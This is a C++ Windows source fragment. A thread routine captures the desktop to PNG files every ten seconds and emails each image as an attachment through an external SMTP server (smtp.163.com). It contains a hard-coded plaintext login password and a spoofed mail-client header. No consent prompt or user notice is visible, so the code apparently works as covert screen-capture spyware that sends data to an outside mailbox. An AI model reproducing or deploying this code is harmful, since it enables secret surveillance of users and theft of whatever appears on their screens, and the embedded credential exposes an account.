DWORD WINAPI DesktopSenderProc(LPVOID pParam)
{
    DesktopSender* pDesktopSender = (DesktopSender *)pParam;
#if 1
    TCHAR fileName[MAX_PATH];
    while(pDesktopSender->m_bRun){
        _stprintf(fileName, _T("desktopCap%d.png"), pDesktopSender->m_dwImageNum++);
        savepng(fileName);

        CSmtp mail;
        if(mail.GetLastError() != CSMTP_NO_ERROR)
        {
            printf("Unable to initialise winsock2.\n");
            return -1;
        }

        mail.SetSMTPServer("smtp.163.com",25);
        mail.SetLogin("*****@*****.**");
        mail.SetPassword("yanda19841216");
        mail.SetSenderName("ZWW");
        mail.SetSenderMail("*****@*****.**");
        mail.SetReplyTo("*****@*****.**");
        mail.SetSubject("The message");
        mail.AddRecipient("*****@*****.**");
        mail.SetXPriority(XPRIORITY_NORMAL);
        mail.SetXMailer("The Bat! (v3.02) Professional");
        mail.SetMessageBody("This is my message from CSmtp.");
#ifdef UNICODE
        char tmpFileName[MAX_PATH]={0};
        mail.AddAttachment(w2c(tmpFileName,fileName,sizeof(tmpFileName)));
#else
        mail.AddAttachment(fileName);
#endif

        if( mail.Send() )
            printf("The mail was send successfully.\n");
        else
        {
            printf("%s\n",GetErrorText(mail.GetLastError()));
            printf("Unable to send the mail.\n");
        }
        WaitForSingleObject(pDesktopSender->m_hEvent, 10000);
    }
#else
    static HBITMAP	hDesktopCompatibleBitmap=NULL;
    static HDC		hDesktopCompatibleDC=NULL;
    static HDC		hDesktopDC=NULL;
    static HWND		hDesktopWnd=NULL;

    hDesktopWnd=GetDesktopWindow();
    hDesktopDC=GetDC(hDesktopWnd);
    hDesktopCompatibleDC=CreateCompatibleDC(hDesktopDC);

    int BitPerPixel = ::GetDeviceCaps(hDesktopDC, BITSPIXEL);

    BITMAPINFO	bmpInfo;
    ZeroMemory(&bmpInfo,sizeof(BITMAPINFO));
    bmpInfo.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
    bmpInfo.bmiHeader.biBitCount=BitPerPixel;//BITSPERPIXEL;
    bmpInfo.bmiHeader.biCompression = BI_RGB;
    bmpInfo.bmiHeader.biWidth=GetSystemMetrics(SM_CXSCREEN);
    bmpInfo.bmiHeader.biHeight=GetSystemMetrics(SM_CYSCREEN);
    bmpInfo.bmiHeader.biPlanes=1;
    //bmpInfo.bmiHeader.biSizeImage=abs(bmpInfo.bmiHeader.biHeight)*bmpInfo.bmiHeader.biWidth*bmpInfo.bmiHeader.biBitCount/8;
    bmpInfo.bmiHeader.biSizeImage=(bmpInfo.bmiHeader.biWidth*bmpInfo.bmiHeader.biBitCount+31)/32*4*abs(bmpInfo.bmiHeader.biHeight);
    
    hDesktopCompatibleBitmap=CreateDIBSection(hDesktopDC,&bmpInfo,DIB_RGB_COLORS,&pBits,NULL,0);
    if(hDesktopCompatibleDC==NULL || hDesktopCompatibleBitmap == NULL)
    {
        TRACE(_T("Unable to Create Desktop Compatible DC/Bitmap"));
        return 0;
    }
    SelectObject(hDesktopCompatibleDC,hDesktopCompatibleBitmap);

    while(pDesktopSender->m_bRun){
        TCHAR	szFileName[512]; 

        _tcscpy(szFileName,_T("ScreenShot.bmp"));

        SetCursor(LoadCursor(NULL,IDC_WAIT));	
        int		nWidth=GetSystemMetrics(SM_CXSCREEN);
        int		nHeight=GetSystemMetrics(SM_CYSCREEN);
        HDC		hBmpFileDC=CreateCompatibleDC(hDesktopDC);
        HBITMAP	hBmpFileBitmap=CreateCompatibleBitmap(hDesktopDC,nWidth,nHeight);
        HBITMAP hOldBitmap = (HBITMAP) SelectObject(hBmpFileDC,hBmpFileBitmap);
        BitBlt(hBmpFileDC,0,0,nWidth,nHeight,hDesktopDC,0,0,SRCCOPY|CAPTUREBLT);
        SelectObject(hBmpFileDC,hOldBitmap);

        SaveBitmap(szFileName,hBmpFileBitmap);

        DeleteDC(hBmpFileDC);
        DeleteObject(hBmpFileBitmap);
        break;
    }

    if(hDesktopCompatibleDC)
        DeleteDC(hDesktopCompatibleDC);
    if(hDesktopCompatibleBitmap)
        DeleteObject(hDesktopCompatibleBitmap);
    ReleaseDC(hDesktopWnd,hDesktopDC);
#endif
    return 1;
}